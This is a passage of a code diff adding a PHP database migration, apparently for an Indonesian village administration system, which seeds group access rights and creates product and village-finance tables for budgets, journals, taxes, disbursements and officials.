=> 205, 'akses' => 7], + ['id' => 128, 'id_grup' => 3, 'id_modul' => 211, 'akses' => 7], + ['id' => 129, 'id_grup' => 4, 'id_modul' => 13, 'akses' => 0], + ['id' => 130, 'id_grup' => 4, 'id_modul' => 47, 'akses' => 3], + ['id' => 131, 'id_grup' => 4, 'id_modul' => 50, 'akses' => 3], + ['id' => 132, 'id_grup' => 4, 'id_modul' => 51, 'akses' => 3], + ['id' => 133, 'id_grup' => 4, 'id_modul' => 54, 'akses' => 3], + ['id' => 134, 'id_grup' => 2, 'id_modul' => 319, 'akses' => 3], + ['id' => 135, 'id_grup' => 2, 'id_modul' => 110, 'akses' => 3], + ['id' => 136, 'id_grup' => 2, 'id_modul' => 111, 'akses' => 3], + ['id' => 137, 'id_grup' => 2, 'id_modul' => 320, 'akses' => 3], + ['id' => 138, 'id_grup' => 2, 'id_modul' => 321, 'akses' => 3], + ['id' => 139, 'id_grup' => 2, 'id_modul' => 322, 'akses' => 3], + ['id' => 140, 'id_grup' => 2, 'id_modul' => 323, 'akses' => 3], + ['id' => 141, 'id_grup' => 2, 'id_modul' => 305, 'akses' => 3], + ['id' => 142, 'id_grup' => 2, 'id_modul' => 214, 'akses' => 3], + ['id' => 143, 'id_grup' => 2, 'id_modul' => 324, 'akses' => 3], + ['id' => 144, 'id_grup' => 2, 'id_modul' => 43, 'akses' => 3], + ['id' => 145, 'id_grup' => 2, 'id_modul' => 44, 'akses' => 1], + ['id' => 146, 'id_grup' => 2, 'id_modul' => 45, 'akses' => 3], + ['id' => 147, 'id_grup' => 2, 'id_modul' => 46, 'akses' => 3], + ['id' => 148, 'id_grup' => 3, 'id_modul' => 65, 'akses' => 7], + ['id' => 149, 'id_grup' => 3, 'id_modul' => 324, 'akses' => 7], + ['id' => 150, 'id_grup' => 2, 'id_modul' => 325, 'akses' => 3], + ['id' => 151, 'id_grup' => 2, 'id_modul' => 326, 'akses' => 3], + ['id' => 152, 'id_grup' => 2, 'id_modul' => 327, 'akses' => 3], + ['id' => 153, 'id_grup' => 2, 'id_modul' => 328, 'akses' => 3], + ['id' => 154, 'id_grup' => 2, 'id_modul' => 329, 'akses' => 3], + ['id' => 155, 'id_grup' => 2, 'id_modul' => 330, 'akses' => 3], + ['id' => 156, 'id_grup' => 2, 'id_modul' => 332, 'akses' => 3], + ['id' => 157, 'id_grup' => 2, 'id_modul' => 334, 'akses' => 3], + ['id' => 158, 'id_grup' => 2, 'id_modul' => 333, 'akses' => 3], + ['id' => 159, 'id_grup' => 2, 'id_modul' => 335, 'akses' => 3], + ['id' => 160, 'id_grup' => 2, 'id_modul' => 220, 'akses' => 3], + ['id' => 161, 'id_grup' => 2, 'id_modul' => 336, 'akses' => 3], + ['id' => 162, 'id_grup' => 2, 'id_modul' => 313, 'akses' => 3], + ['id' => 163, 'id_grup' => 2, 'id_modul' => 331, 'akses' => 3], + ]); + + DB::statement(' + CREATE TABLE `produk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pelapak` int(11) DEFAULT NULL, + `id_produk_kategori` int(11) DEFAULT NULL, + `nama` varchar(255) DEFAULT NULL, + `harga` int(11) DEFAULT NULL, + `satuan` varchar(20) DEFAULT NULL, + `tipe_potongan` tinyint(1) DEFAULT 1, + `potongan` int(11) DEFAULT 0, + `deskripsi` text DEFAULT NULL, + `foto` varchar(225) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT 1, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + PRIMARY KEY (`id`), + KEY `lapak_fk` (`id_pelapak`), + KEY `produk_kategori_fk` (`id_produk_kategori`), + CONSTRAINT `lapak_fk` FOREIGN KEY (`id_pelapak`) REFERENCES `pelapak` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, + CONSTRAINT `produk_kategori_fk` FOREIGN KEY (`id_produk_kategori`) REFERENCES `produk_kategori` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_bank_desa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(50) NOT NULL, + `Kd_Desa` varchar(50) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `NoRek_Bank` varchar(100) NOT NULL, + `Nama_Bank` varchar(250) NOT NULL, + `Kantor_Cabang` varchar(100) DEFAULT NULL, + `Nama_Pemilik` varchar(100) DEFAULT NULL, + `Alamat_Pemilik` varchar(100) DEFAULT NULL, + `No_Identitas` varchar(20) DEFAULT NULL, + `No_Telepon` varchar(20) DEFAULT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_bank_desa_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_bank_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_bel_operasional` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `ID_Keg` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_bel_operasional_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_bel_operasional_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_bidang` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Bid` varchar(50) NOT NULL, + `Nama_Bidang` varchar(250) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_bidang_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_bunga` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Bunga` varchar(50) NOT NULL, + `Kd_Admin` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_bunga_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_bunga_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_desa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Kec` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Nama_Desa` varchar(250) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_desa_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_kecamatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Kec` varchar(100) NOT NULL, + `Nama_Kecamatan` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_kecamatan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_kecamatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_kegiatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Bid` varchar(100) DEFAULT NULL, + `ID_Keg` varchar(100) NOT NULL, + `Nama_Kegiatan` varchar(250) NOT NULL, + `Jns_Kegiatan` tinyint(5) DEFAULT NULL, + `Kd_Sub` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_kegiatan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_korolari` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_RekDB` varchar(100) NOT NULL, + `Kd_RekKD` varchar(250) NOT NULL, + `Jenis` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_korolari_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_korolari_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_neraca_close` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kelompok` varchar(250) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_neraca_close_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_neraca_close_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_perangkat` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kode` varchar(100) NOT NULL, + `Nama_Perangkat` varchar(250) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_perangkat_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_perangkat_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_potongan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_Potongan` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_potongan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_potongan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_rek1` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Akun` varchar(100) NOT NULL, + `Nama_Akun` varchar(100) NOT NULL, + `NoLap` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_rek1_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_rek1_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_rek2` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Akun` varchar(100) NOT NULL, + `Kelompok` varchar(100) NOT NULL, + `Nama_Kelompok` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_rek2_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_rek2_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_rek3` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kelompok` varchar(100) NOT NULL, + `Jenis` varchar(100) NOT NULL, + `Nama_Jenis` varchar(100) NOT NULL, + `Formula` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_rek3_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_rek3_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_rek4` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Jenis` varchar(100) NOT NULL, + `Obyek` varchar(100) NOT NULL, + `Nama_Obyek` varchar(100) NOT NULL, + `Peraturan` varchar(250) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_rek4_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_rek4_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_sbu` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kode_SBU` varchar(100) NOT NULL, + `NoUrut_SBU` varchar(100) NOT NULL, + `Nama_SBU` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `Satuan` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_sbu_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_sbu_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ref_sumber` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kode` varchar(100) NOT NULL, + `Nama_Sumber` varchar(100) NOT NULL, + `Urut` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ref_sumber_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ref_sumber_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_anggaran` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `KdPosting` varchar(100) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `KURincianSD` varchar(100) NOT NULL, + `KD_Rincian` varchar(100) NOT NULL, + `RincianSD` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `AnggaranStlhPAK` varchar(100) NOT NULL, + `Belanja` varchar(100) NOT NULL, + `Kd_keg` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `TglPosting` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_anggaran_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_anggaran_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_anggaran_log` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `KdPosting` varchar(100) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_Perdes` varchar(100) NOT NULL, + `TglPosting` varchar(100) NOT NULL, + `UserID` varchar(50) NOT NULL, + `Kunci` varchar(100) NOT NULL, + `No_Perkades` varchar(100) DEFAULT NULL, + `Petugas` varchar(80) DEFAULT NULL, + `Tanggal` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_anggaran_log_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_anggaran_log_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_anggaran_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `KdPosting` varchar(100) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(100) NOT NULL, + `No_Urut` varchar(100) NOT NULL, + `Uraian` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `JmlSatuan` varchar(100) NOT NULL, + `HrgSatuan` varchar(100) NOT NULL, + `Satuan` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `JmlSatuanPAK` varchar(100) NOT NULL, + `HrgSatuanPAK` varchar(100) NOT NULL, + `AnggaranStlhPAK` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_anggaran_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_anggaran_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_bidang` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Bid` varchar(100) NOT NULL, + `Nama_Bidang` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_bidang_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_desa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Nm_Kades` varchar(100) NOT NULL, + `Jbt_Kades` varchar(100) NOT NULL, + `Nm_Sekdes` varchar(100) NOT NULL, + `NIP_Sekdes` varchar(100) NOT NULL, + `Jbt_Sekdes` varchar(100) NOT NULL, + `Nm_Kaur_Keu` varchar(100) NOT NULL, + `Jbt_Kaur_Keu` varchar(100) NOT NULL, + `Nm_Bendahara` varchar(100) NOT NULL, + `Jbt_Bendahara` varchar(100) NOT NULL, + `No_Perdes` varchar(100) NOT NULL, + `Tgl_Perdes` varchar(100) NOT NULL, + `No_Perdes_PB` varchar(100) NOT NULL, + `Tgl_Perdes_PB` varchar(100) NOT NULL, + `No_Perdes_PJ` varchar(100) NOT NULL, + `Tgl_Perdes_PJ` varchar(100) NOT NULL, + `Alamat` varchar(250) NOT NULL, + `Ibukota` varchar(100) NOT NULL, + `Status` varchar(100) NOT NULL, + `NPWP` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_desa_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_jurnal_umum` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `KdBuku` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Tanggal` varchar(100) NOT NULL, + `JnsBukti` varchar(100) NOT NULL, + `NoBukti` varchar(100) NOT NULL, + `Keterangan` varchar(100) NOT NULL, + `DK` varchar(100) NOT NULL, + `Debet` varchar(100) NOT NULL, + `Kredit` varchar(100) NOT NULL, + `Jenis` varchar(100) NOT NULL, + `Posted` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_jurnal_umum_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_jurnal_umum_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_jurnal_umum_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `NoBukti` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `RincianSD` varchar(100) NOT NULL, + `NoID` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Akun` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `DK` varchar(100) NOT NULL, + `Debet` varchar(100) NOT NULL, + `Kredit` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_jurnal_umum_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_jurnal_umum_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_kegiatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Bid` varchar(100) DEFAULT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `ID_Keg` varchar(100) NOT NULL, + `Nama_Kegiatan` varchar(100) NOT NULL, + `Pagu` varchar(100) NOT NULL, + `Pagu_PAK` varchar(100) NOT NULL, + `Nm_PPTKD` varchar(100) NOT NULL, + `NIP_PPTKD` varchar(100) NOT NULL, + `Lokasi` varchar(100) NOT NULL, + `Waktu` varchar(100) NOT NULL, + `Keluaran` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Jbt_PPTKD` varchar(100) DEFAULT NULL, + `Kd_Sub` varchar(30) DEFAULT NULL, + `Nilai` varchar(100) DEFAULT NULL, + `NilaiPAK` varchar(100) DEFAULT NULL, + `Satuan` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_kegiatan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_mutasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `Keterangan` varchar(200) DEFAULT NULL, + `Kd_Bank` varchar(100) DEFAULT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Kd_Mutasi` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_mutasi_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_mutasi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_pajak` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SSP` varchar(100) NOT NULL, + `Tgl_SSP` varchar(100) NOT NULL, + `Keterangan` varchar(250) DEFAULT NULL, + `Nama_WP` varchar(100) NOT NULL, + `Alamat_WP` varchar(100) NOT NULL, + `NPWP` varchar(100) NOT NULL, + `Kd_MAP` varchar(100) NOT NULL, + `Nm_Penyetor` varchar(100) NOT NULL, + `Jn_Transaksi` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Jumlah` varchar(100) NOT NULL, + `KdBayar` varchar(100) NOT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + `NTPN` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_pajak_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_pajak_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_pajak_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SSP` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_pajak_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_pajak_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_pemda` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Prov` varchar(100) NOT NULL, + `Kd_Kab` varchar(100) NOT NULL, + `Nama_Pemda` varchar(100) NOT NULL, + `Nama_Provinsi` varchar(100) NOT NULL, + `Ibukota` varchar(100) NOT NULL, + `Alamat` varchar(100) NOT NULL, + `Nm_Bupati` varchar(100) NOT NULL, + `Jbt_Bupati` varchar(100) NOT NULL, + `Logo` mediumblob DEFAULT NULL, + `C_Kode` varchar(100) NOT NULL, + `C_Pemda` varchar(100) NOT NULL, + `C_Data` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_pemda_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_pemda_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_pencairan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_Cek` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Tgl_Cek` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Keterangan` varchar(250) DEFAULT NULL, + `Jumlah` varchar(100) NOT NULL, + `Potongan` varchar(100) NOT NULL, + `KdBayar` varchar(100) NOT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + `Kunci` varchar(10) DEFAULT NULL, + `No_Ref` varchar(100) DEFAULT NULL, + `Tgl_Bayar` varchar(100) DEFAULT NULL, + `Validasi` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_pencairan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_pencairan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_perangkat` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Jabatan` varchar(100) NOT NULL, + `No_ID` varchar(100) NOT NULL, + `Nama_Perangkat` varchar(100) NOT NULL, + `Alamat_Perangkat` varchar(100) NOT NULL, + `Nomor_HP` varchar(100) NOT NULL, + `Rek_Bank` varchar(100) NOT NULL, + `Nama_Bank` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_perangkat_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_perangkat_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rab` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `AnggaranStlhPAK` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rab_master_fk` (`id_keuangan_master`), + 